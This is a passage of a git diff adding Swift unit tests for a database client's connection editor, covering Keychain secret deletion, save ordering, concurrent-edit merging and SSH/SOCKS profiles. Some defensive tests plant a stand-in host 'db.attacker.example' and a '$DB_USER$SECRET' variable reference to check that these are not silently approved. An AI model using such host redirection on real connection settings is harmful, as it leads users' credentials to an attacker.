ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .redis, parsedURL: nil)) + store.setFieldValue("sentinel", for: "redisMode") + store.setFieldValue("s1.example:26379,s2.example:26379", for: "redisSentinelHosts") + #expect(store.tunnelHostListAdvice == nil) + + store.selectTransport(.ssh) + let advice = try #require(store.tunnelHostListAdvice) + #expect(advice.localizedCaseInsensitiveContains("Sentinel")) + + let postgres = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + postgres.selectTransport(.ssh) + #expect(postgres.tunnelHostListAdvice == nil) + } + + @Test("A file database picks where its file lives; a network database picks a transport") + func fileDatabaseTransportIsALocation() throws { + let fixture = try ConnectionEditorStoreFixture() + let sqlite = fixture.makeStore(.new(type: .sqlite, parsedURL: nil)) + #expect(sqlite.availableTransports.contains(.remoteFile)) + #expect(sqlite.transportIsLocationChoice) + + let postgres = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + #expect(!postgres.transportIsLocationChoice) + } + + @Test("A jump host names the field it lacks: the address first, then a key file for key sign-in") + func missingJumpHostField() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + let id = store.addJumpHost() + #expect(store.missingJumpHostField(id) == .host) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .privateKey)) + #expect(store.missingJumpHostField(id) == .keyFile) + + store.updateJumpHost(SSHJumpHost(id: id, host: "", authMethod: .privateKey)) + #expect(store.missingJumpHostField(id) == .host) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .privateKey, privateKeyPath: "~/.ssh/id_ed25519")) + #expect(store.missingJumpHostField(id) == nil) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .sshAgent)) + #expect(store.missingJumpHostField(id) == nil) + #expect(store.missingJumpHostField(UUID()) == nil) + } + + @Test("Every hop the field check passes is one the engine leaves without an issue") + func missingJumpHostFieldMatchesTheEngine() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + store.update { $0.ssh.host = "ssh.example.com" } + let hops = [ + SSHJumpHost(host: ""), + SSHJumpHost(host: "a.example.com", authMethod: .privateKey), + SSHJumpHost(host: "b.example.com", authMethod: .privateKey, privateKeyPath: "~/.ssh/id_ed25519"), + SSHJumpHost(host: "c.example.com", authMethod: .sshAgent) + ] + store.update { $0.ssh.jumpHosts = hops } + for hop in hops { + let flagged = !store.issues(for: .builtIn(.jumpHost(hop.id))).isEmpty + #expect(flagged == (store.missingJumpHostField(hop.id) != nil), "\(hop.host)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift new file mode 100644 index 0000000000..950a36c181 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSecretStateTests.swift @@ -0,0 +1,260 @@ +// +// ConnectionEditorStoreSecretStateTests.swift +// TableProTests +// + +import Foundation +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Emptying a password field must delete the stored secret, or the next connect, an export and a duplicate still carry it. +@MainActor +struct ConnectionEditorStoreSecretStateTests { + private final class ScriptedKeychain: KeychainStoring, @unchecked Sendable { + private let lock = NSLock() + private let result: KeychainStringResult + + init(_ result: KeychainStringResult) { + self.result = result + } + + @discardableResult + func writeString(_ value: String, forKey key: String) -> Bool { true } + + func readStringResult(forKey key: String) -> KeychainStringResult { + lock.withLock { result } + } + + func delete(forKey key: String) {} + } + + // The fixture's services over a library whose every Keychain read answers `result`. + private func store( + _ fixture: ConnectionEditorStoreFixture, + keychain result: KeychainStringResult, + connection: DatabaseConnection + ) -> ConnectionEditorStore { + let storage = ConnectionStorage( + fileURL: fixture.directory.appendingPathComponent("scripted-connections.json"), + userDefaults: fixture.suite.defaults, + keychain: ScriptedKeychain(result) + ) + #expect(storage.saveConnections([connection])) + return ConnectionEditorStore( + request: .edit(connectionId: connection.id), + services: fixture.services.replacingConnectionStorage(storage), + recentConnections: fixture.recents, + listPreferences: fixture.listPreferences + ) + } + + private func plan(_ store: ConnectionEditorStore) -> SecretWritePlan { + ConnectionEditorEngine.secretPlan(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + } + + private func clearsPassword(_ store: ConnectionEditorStore) -> Bool { + ConnectionEditorEngine.clearsStoredPassword(store.draft, store.traits) + } + + private func sshConnection() -> DatabaseConnection { + var connection = TestFixtures.makeConnection() + connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) + return connection + } + + @Test("Clearing a password that was stored asks for the stored one to be deleted") + func clearedPasswordIsDeleted() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + #expect(store.draft.credentials.password == "hunter2") + store.update { $0.credentials.password = "" } + + #expect(clearsPassword(store)) + #expect(plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("Leaving a loaded password in place deletes nothing") + func untouchedPasswordIsKept() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + + #expect(!clearsPassword(store)) + #expect(!plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("An empty field on a connection that never had a password deletes nothing") + func neverStoredDeletesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .notFound, connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + + #expect(!clearsPassword(store)) + #expect(!plan(store).deletesAfterRecord.contains(.password)) + } + + @Test( + "A keychain that could not be read never causes a delete", + arguments: [ + KeychainStringResult.locked, + .userCancelled, + .authFailed, + .error(-25_300), + ] + ) + func unreadableKeychainNeverDeletes(_ result: KeychainStringResult) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: result, connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + + #expect(!clearsPassword(store)) + let plan = plan(store) + #expect(!plan.deletesAfterRecord.contains(.password)) + #expect(!plan.stagedDeletes.contains(.password)) + } + + @Test("Switching to prompt mode is handled by the prompt arm, not by the cleared arm") + func promptModeIsNotACleared() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("hunter2"), connection: TestFixtures.makeConnection()) + store.update { $0.credentials.password = "" } + store.setPasswordPrompt(true) + + #expect(!clearsPassword(store)) + #expect(ConnectionEditorEngine.effectivePromptForPassword(store.draft, store.traits)) + #expect(plan(store).deletesAfterRecord.contains(.password)) + } + + @Test("An emptied inline SSH password and passphrase are deleted too") + func clearedInlineSSHSecretsAreDeleted() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("secret"), connection: sshConnection()) + store.update { + $0.ssh.password = "" + $0.ssh.keyPassphrase = "" + } + + #expect(store.draft.ssh.clearsStoredPassword) + #expect(store.draft.ssh.clearsStoredKeyPassphrase) + let plan = plan(store) + #expect(plan.deletesAfterRecord.contains(.sshPassword)) + #expect(plan.deletesAfterRecord.contains(.sshKeyPassphrase)) + } + + @Test("An inline SSH secret that could not be read is never deleted") + func unreadableInlineSSHSecretsAreKept() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .locked, connection: sshConnection()) + store.update { + $0.ssh.password = "" + $0.ssh.keyPassphrase = "" + } + + #expect(!store.draft.ssh.clearsStoredPassword) + #expect(!store.draft.ssh.clearsStoredKeyPassphrase) + let plan = plan(store) + #expect(!plan.deletesAfterRecord.contains(.sshPassword)) + #expect(!plan.deletesAfterRecord.contains(.sshKeyPassphrase)) + } + + @Test("Showing an inline SSH secret the Keychain returned asks for authentication first") + func savedInlineSSHSecretsNeedAuthenticationToShow() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .found("secret"), connection: sshConnection()) + + #expect(store.draft.ssh.savedSecrets == [.password, .keyPassphrase, .totpSecret]) + store.update { $0.ssh.password = "typed over the saved one" } + #expect(store.draft.ssh.savedSecrets.contains(.password)) + } + + @Test("A connection with no inline SSH secrets has nothing to guard") + func absentInlineSSHSecretsNeedNoAuthentication() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = store(fixture, keychain: .notFound, connection: sshConnection()) + + #expect(store.draft.ssh.savedSecrets.isEmpty) + } + + @Test("A linked profile's secrets stay after a switch to inline, still guarded, and Save writes them to the connection") + func profileSecretsStayAfterSwitchingToInline() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com", username: "ops", authMethod: .password) + #expect(fixture.sshProfiles.addProfile(profile)) + #expect(fixture.sshProfiles.saveSSHPassword("profile-secret", for: profile.id)) + var connection = TestFixtures.makeConnection() + connection.sshProfileId = profile.id + connection.sshTunnelMode = .profile(id: profile.id, snapshot: profile.toSSHConfiguration()) + #expect(fixture.seed([connection])) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + store.switchSSHProfileToInline() + + #expect(store.draft.ssh.host == "bastion.example.com") + #expect(store.draft.ssh.password == "profile-secret") + #expect(store.draft.ssh.savedSecrets == [.password]) + + _ = try store.save().get() + #expect(fixture.storage.loadSSHPassword(for: connection.id) == "profile-secret") + #expect(fixture.sshProfiles.loadSSHPassword(for: profile.id) == "profile-secret") + } + + @Test("A profile deleted while the editor is open hands its secrets over guarded") + func deletedProfileSecretsAreGuarded() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com", username: "ops", authMethod: .privateKey) + #expect(fixture.sshProfiles.addProfile(profile)) + var connection = TestFixtures.makeConnection() + connection.sshProfileId = profile.id + connection.sshTunnelMode = .profile(id: profile.id, snapshot: profile.toSSHConfiguration()) + #expect(fixture.seed([connection])) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.ssh.savedSecrets.isEmpty) + #expect(fixture.sshProfiles.saveKeyPassphrase("phrase", for: profile.id)) + #expect(fixture.sshProfiles.deleteProfile(profile)) + + #expect(store.draft.ssh.keyPassphrase == "phrase") + #expect(store.draft.ssh.savedSecrets == [.keyPassphrase]) + } +} + +@MainActor +private extension AppServices { + func replacingConnectionStorage(_ storage: ConnectionStorage) -> AppServices { + AppServices( + appEvents: appEvents, + appSettings: appSettings, + appSettingsStorage: appSettingsStorage, + connectionStorage: storage, + databaseManager: databaseManager, + pluginManager: pluginManager, + schemaService: schemaService, + schemaRefreshService: schemaRefreshService, + schemaProviderRegistry: schemaProviderRegistry, + catalogChangeService: catalogChangeService, + sqlFavoriteManager: sqlFavoriteManager, + favoriteTablesStorage: favoriteTablesStorage, + favoriteDatabasesStorage: favoriteDatabasesStorage, + tableFolderStorage: tableFolderStorage, + aiChatStorage: aiChatStorage, + aiKeyStorage: aiKeyStorage, + aiAccessApprovals: aiAccessApprovals, + groupStorage: groupStorage, + tagStorage: tagStorage, + sshProfileStorage: sshProfileStorage, + credentialProfileStorage: credentialProfileStorage, + featureAccess: featureAccess, + syncMetadataStorage: syncMetadataStorage, + favoritesExpansionState: favoritesExpansionState, + linkedFolderWatcher: linkedFolderWatcher, + queryHistoryManager: queryHistoryManager, + dateFormattingService: dateFormattingService, + copilotService: copilotService, + mcpServerManager: mcpServerManager, + syncTracker: syncTracker, + welcomeRouter: welcomeRouter, + telemetry: telemetry + ) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift new file mode 100644 index 0000000000..4cf8681513 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -0,0 +1,699 @@ +// +// ConnectionEditorStoreTests.swift +// TableProTests +// + +import Combine +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreTests { + private func postgres(name: String = "Orders") -> DatabaseConnection { + DatabaseConnection( + name: name, + host: "db.example.com", + port: 5_432, + database: "orders", + username: "app", + type: .postgresql + ) + } + + // MARK: - Load + + @Test("Editing an id the library does not have shows the missing state and refuses Save") + func missingRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres()]) + let store = fixture.makeStore(.edit(connectionId: UUID())) + #expect(store.isRecordMissing) + #expect(!store.canSave) + } + + @Test("A stored connection loads unchanged and reads as not edited") + func loadIsClean() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.host == "db.example.com") + #expect(!store.hasUnsavedChanges) + store.update { $0.host = "other.example.com" } + #expect(store.hasUnsavedChanges) + } + + // MARK: - Test record + + @Test("Test signs in with the record Save would write, unowned keys included") + func testRecordMatchesSavedRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.additionalFields["mongoParam_directConnection"] = "true" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + store.update { $0.host = "replica.example.com" } + let tested = store.testRecord(testId: UUID()) + #expect(tested.additionalFields["mongoParam_directConnection"] == "true") + + let saved = try store.save().get() + #expect(ConnectionEditorEngine.record(tested, reassignedTo: connection.id) == saved) + } + + @Test("Test dials the host the editor shows, not one stored elsewhere after it opened") + func testIgnoresHostChangedElsewhere() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.additionalFields["mongoParam_directConnection"] = "true" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.host = "db.attacker.example" + fixture.seed([elsewhere]) + fixture.events.connectionUpdated.send(connection.id) + + let tested = store.testRecord(testId: UUID()) + #expect(tested.host == "db.example.com") + #expect(tested.additionalFields["mongoParam_directConnection"] == "true") + } + + @Test("A sign-in with this Mac's credentials added elsewhere after the editor opened is not used by Test") + func testIgnoresLocalCredentialAddedElsewhere() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.additionalFields["awsAuth"] = "profile" + elsewhere.additionalFields["mssqlAuthMethod"] = "entra" + fixture.seed([elsewhere]) + #expect(!ConnectionFieldCatalog.localCredentialUses(in: elsewhere.additionalFields).isEmpty) + + let tested = store.testRecord(testId: UUID()) + #expect(ConnectionFieldCatalog.localCredentialUses(in: tested.additionalFields).isEmpty) + } + + @Test("A result is cleared by an edit to what was tested, and kept by a rename") + func resultClearsOnTestedEdit() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.lastTestedFingerprint = ConnectionEditorEngine.testFingerprint( + store.draft, store.traits, originalTraits: store.originalTraits, store.context + ) + let success = ConnectionTestSuccess(typeName: "PostgreSQL", serverVersion: "16.4", elapsedMilliseconds: 42, warning: nil) + store.testState = .succeeded(success) + store.update { $0.name = "Renamed" } + #expect(store.testState == .succeeded(success)) + store.update { $0.host = "elsewhere.example.com" } + #expect(store.testState == .idle) + } + + @Test("Name never blocks: Test and Save work with Name empty, and Save names it after the form") + func nameNeverBlocks() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.host = "db.example.com" + $0.database = "orders" + } + #expect(store.draft.name.isEmpty) + #expect(store.namePrompt == "db.example.com/orders") + #expect(store.canTest) + #expect(store.canSave) + + let saved = try store.save().get() + #expect(saved.name == "db.example.com/orders") + } + + @Test("Emptying a saved connection's Name keeps its saved name, and the prompt shows it") + func emptiedNameKeepsTheSavedName() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.name = "" } + + #expect(store.namePrompt == "Orders") + #expect(!store.hasUnsavedChanges) + #expect(try store.save().get().name == "Orders") + } + + // MARK: - Save order + + @Test("A refused Keychain write saves no record and says nothing was saved") + func keychainFailureSavesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.name = "Orders" + $0.credentials.password = "hunter2" + } + fixture.keychain.refuseWrites(true) + #expect(store.save() == .failure(.keychainWriteFailed)) + #expect(fixture.storage.loadConnection(id: store.connectionId) == nil) + #expect(fixture.secretKeys(for: store.connectionId).isEmpty) + } + + @Test("A failed record write leaves no secret behind, and the retry saves under the same id") + func failedRecordWriteCleansUpAndRetriesUnderTheSameId() throws { + let fixture = try ConnectionEditorStoreFixture() + fixture.seed([postgres(name: "Existing")]) + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let id = store.connectionId + store.update { + $0.name = "Orders" + $0.credentials.password = "hunter2" + } + try fixture.makeLibraryReadOnly(true) + #expect(store.save() == .failure(.recordWriteFailed)) + #expect(fixture.secretKeys(for: id).isEmpty) + + try fixture.makeLibraryReadOnly(false) + let saved = try store.save().get() + #expect(saved.id == id) + #expect(store.connectionId == id) + #expect(fixture.storage.loadPassword(for: id) == "hunter2") + } + + @Test("A record deleted elsewhere is refused before any secret is written") + func deletedRecordIsRefusedBeforeSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + fixture.storage.deleteConnection(connection) + fixture.keychain.resetWriteCount() + store.update { $0.credentials.password = "changed" } + #expect(store.save() == .failure(.recordMissing)) + #expect(fixture.keychain.writeCount == 0) + } + + // MARK: - Merge + + @Test("A change made elsewhere while the editor is open survives its Save") + func concurrentEditSurvivesSave() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.name = "Renamed in Welcome" + elsewhere.commitMode = .manual + elsewhere.preferredSafeModeLevel = .safeMode + fixture.seed([elsewhere]) + fixture.events.connectionUpdated.send(connection.id) + + store.update { $0.host = "replica.example.com" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed in Welcome") + #expect(saved.commitMode == .manual) + #expect(saved.preferredSafeModeLevel == .safeMode) + #expect(saved.host == "replica.example.com") + } + + @Test("A destination changed elsewhere while the editor is open is not approved by an unrelated Save") + func concurrentDestinationIsNotApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.host = "db.attacker.example" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.host == "db.attacker.example") + #expect(!fixture.envVarApprovals.isApproved(saved)) + } + + @Test("A variable reference added elsewhere while the editor is open is not approved by an unrelated Save") + func concurrentReferenceIsNotApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.username = "$DB_USER$SECRET" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.username == "$DB_USER$SECRET") + #expect(!fixture.envVarApprovals.isApproved(saved)) + } + + @Test("Saving a host change made in the editor approves the destination it shows") + func ownDestinationIsApproved() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.username = "$DB_USER" + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.host = "db2.example.com" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.host == "db2.example.com") + #expect(fixture.envVarApprovals.isApproved(saved)) + } + + @Test("A SOCKS proxy turned on elsewhere keeps its password through an unrelated Save") + func concurrentSOCKSKeepsItsPassword() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "ops")) + fixture.seed([elsewhere]) + fixture.storage.saveSOCKSProxyPassword("proxy-secret", for: connection.id) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.socksProxyMode == elsewhere.socksProxyMode) + #expect(fixture.storage.loadSOCKSProxyPassword(for: connection.id) == "proxy-secret") + } + + @Test("Turning the SOCKS proxy off in the editor deletes its password") + func turningSOCKSOffDeletesItsPassword() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "ops")) + fixture.seed([connection]) + fixture.storage.saveSOCKSProxyPassword("proxy-secret", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.transport == .socksProxy) + + store.update { $0.selectTransport(nil) } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.socksProxyMode == .disabled) + #expect(fixture.storage.loadSOCKSProxyPassword(for: connection.id) == nil) + } + + @Test("A password stored elsewhere after prompting was turned off survives an unrelated Save") + func concurrentPromptOffKeepsThePassword() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.promptForPassword = true + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.credentials.promptsForPassword) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.promptForPassword = false + fixture.seed([elsewhere]) + fixture.storage.savePassword("stored-elsewhere", for: connection.id) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(!saved.promptForPassword) + #expect(fixture.storage.loadPassword(for: connection.id) == "stored-elsewhere") + } + + @Test("After a Save whose record write failed, changing a password back to its loaded value still writes it") + func failedSaveForgetsLoadedSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + fixture.storage.savePassword("first", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.credentials.password = "second" } + try fixture.makeLibraryReadOnly(true) + #expect(store.save() == .failure(.recordWriteFailed)) + #expect(fixture.storage.loadPassword(for: connection.id) == "second") + + try fixture.makeLibraryReadOnly(false) + store.update { $0.credentials.password = "first" } + _ = try store.save().get() + #expect(fixture.storage.loadPassword(for: connection.id) == "first") + } + + @Test("Local only set elsewhere while the editor is open keeps this Save's password on this Mac") + func localOnlySetElsewhereKeepsSecretsOnThisMac() throws { + let keychain = ScopeRecordingKeychain() + let fixture = try ConnectionEditorStoreFixture(storageKeychain: keychain) + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.localOnly = true + fixture.seed([elsewhere]) + + store.update { $0.credentials.password = "typed-here" } + _ = try store.save().get() + + let key = "com.TablePro.password.\(connection.id.uuidString)" + #expect(try #require(fixture.storage.loadConnection(id: connection.id)).localOnly) + #expect(keychain.localValue(forKey: key) == "typed-here") + #expect(keychain.syncedValue(forKey: key) == nil) + } + + @Test("A connection moved to another group is placed after that group's connections") + func groupChangeTakesTheNextSortOrder() throws { + let fixture = try ConnectionEditorStoreFixture() + let groupId = UUID() + var first = postgres(name: "First") + first.groupId = groupId + first.sortOrder = 0 + var second = postgres(name: "Second") + second.groupId = groupId + second.sortOrder = 1 + let moving = postgres(name: "Moving") + fixture.seed([first, second, moving]) + let expected = ConnectionStorage.nextSortOrder(in: [first, second, moving], groupId: groupId) + let store = fixture.makeStore(.edit(connectionId: moving.id)) + + store.update { $0.appearance.groupId = groupId } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: moving.id)) + #expect(saved.groupId == groupId) + #expect(saved.sortOrder == expected) + #expect(saved.sortOrder > second.sortOrder) + } + + @Test("A connection deleted elsewhere turns the editor into the missing state") + func deletionElsewhereShowsMissing() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + fixture.storage.deleteConnection(connection) + fixture.events.connectionUpdated.send(nil) + #expect(store.isRecordMissing) + } + + // MARK: - Profiles + + @Test("An SSH profile this Mac lacks stays linked through a Save, and no SSH secret is deleted") + func unresolvedSSHProfileStaysLinked() throws { + let fixture = try ConnectionEditorStoreFixture() + let profileId = UUID() + var connection = postgres() + connection.sshProfileId = profileId + connection.sshTunnelMode = .profile(id: profileId, snapshot: SSHConfiguration(enabled: true, host: "bastion")) + fixture.seed([connection]) + fixture.storage.saveSSHPassword("tunnel-secret", for: connection.id) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.sshProfileIsUnresolved) + #expect(store.issues.contains { $0.row == .builtIn(.sshProfileMissing) && !$0.blocksSave }) + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.sshProfileId == profileId) + guard case .profile(let id, let snapshot) = saved.sshTunnelMode else { + Issue.record("The link was converted: \(saved.sshTunnelMode)") + return + } + #expect(id == profileId) + #expect(snapshot.host == "bastion") + #expect(fixture.storage.loadSSHPassword(for: connection.id) == "tunnel-secret") + } + + @Test("Save SSH as Profile reads the port the way validation does") + func sshProfileFromInlineTrimsThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.selectTransport(.ssh) + $0.ssh.host = "bastion.example.com" + $0.ssh.port = " 2222 " + } + #expect(store.sshProfileFromInline().port == 2_222) + } + + @Test("A profile deleted in Settings while the editor is open is adopted inline with its password") + func deletedSSHProfileIsAdoptedInline() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com", username: "ops") + #expect(fixture.sshProfiles.addProfile(profile)) + fixture.sshProfiles.saveSSHPassword("profile-secret", for: profile.id) + var connection = postgres() + connection.sshProfileId = profile.id + connection.sshTunnelMode = .profile(id: profile.id, snapshot: profile.toSSHConfiguration()) + fixture.seed([connection]) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.ssh.profileId == profile.id) + #expect(fixture.sshProfiles.deleteProfile(profile)) + #expect(store.draft.ssh.profileId == nil) + #expect(store.draft.ssh.host == "bastion.example.com") + #expect(store.draft.ssh.password == "profile-secret") + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.sshProfileId == nil) + #expect(fixture.storage.loadSSHPassword(for: connection.id) == "profile-secret") + } + + @Test("A credential profile deleted elsewhere is dropped by the store, whichever facet is shown") + func deletedCredentialProfileIsDropped() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = CredentialProfile(name: "Shared", username: "shared") + #expect(fixture.credentialProfiles.addProfile(profile)) + var connection = postgres() + connection.credentialMode = .profile(id: profile.id) + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + store.selectedFacet = .advanced + #expect(store.draft.credentials.mode == .profile(id: profile.id)) + #expect(fixture.credentialProfiles.deleteProfile(profile)) + #expect(store.draft.credentials.mode == .inline) + } + + // MARK: - Delete + + @Test("A delete that cannot be written is reported and the window stays") + func failedDeleteIsReported() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + var dismissed = false + store.dismissAction = { dismissed = true } + try fixture.makeLibraryReadOnly(true) + guard case .failure(let error) = store.delete() else { + Issue.record("The delete reported success") + return + } + #expect(error == .writeFailed) + #expect(!dismissed) + #expect(store.deleteError == .writeFailed) + try fixture.makeLibraryReadOnly(false) + } + + @Test("A delete cleans up what Welcome's delete cleans up") + func deleteCleansUp() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + fixture.recents.record(connection.id) + fixture.listPreferences.setFavoritesOrder([connection.id]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + var dismissed = false + store.dismissAction = { dismissed = true } + guard case .success = store.delete() else { + Issue.record("The delete failed") + return + } + #expect(dismissed) + #expect(fixture.storage.loadConnection(id: connection.id) == nil) + #expect(fixture.recents.lastConnected[connection.id] == nil) + #expect(!fixture.listPreferences.favoritesOrder.contains(connection.id)) + } + + // MARK: - Retype + + @Test("A retype cancels a running test, and closing deletes exactly what that test wrote") + func retypeCancelsTestAndCleansItsSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .snowflake, parsedURL: nil)) + let testId = UUID() + store.writeSecret(.pluginField("snowflakePassword"), value: "s3cret", for: testId) + store.pendingTestReceipts[testId] = TestSecretReceipt(testId: testId, items: 